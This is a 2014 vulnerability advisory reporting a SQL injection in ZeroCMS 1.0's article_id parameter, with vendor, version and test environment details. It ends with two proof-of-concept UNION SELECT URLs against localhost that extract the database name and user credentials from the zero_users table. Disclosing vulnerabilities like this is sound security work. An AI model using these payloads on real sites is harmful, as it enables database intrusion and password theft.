ZeroCMS 1.0 - (zero_view_article.php, article_id param) - SQL Injection Vulnerability

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ZeroCMS 1.0 (article_id) SQL Injection Vulnerability

 

 

Vendor: Another Awesome Stuff

Product web page: http://www.aas9.in/zerocms/

Affected version: 1.0

 

Summary: ZeroCMS is a very simple Content Management

System built using PHP and MySQL.

 

Desc: Input passed via the 'article_id' GET parameter

to zero_view_article.php script is not properly sanitised

before being used in SQL queries. This can be exploited

to manipulate SQL queries by injecting arbitrary SQL code.

 

Tested on: Apache/2.4.7 (Win32)

           PHP/5.5.6

           MySQL 5.6.14

 

 

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

                            @zeroscience

 

 

Advisory ID: ZSL-2014-5186

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5186.php

 

 

09.06.2014

 

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http://localhost/zerocms/zero_view_article.php?article_id=1337+union+all+select+concat(unhex(hex(cast(database()+as+char)))),2,3,4,5,6--

http://localhost/zerocms/zero_view_article.php?article_id=1337+union+all+select+(select+concat(unhex(hex(cast(zero_users.name+as+char))),0x20,0x7c,0x20,unhex(hex(cast(zero_users.password+as+char))))+from+`zcdb`.zero_users+limit 0,1),2,3,4,5,6--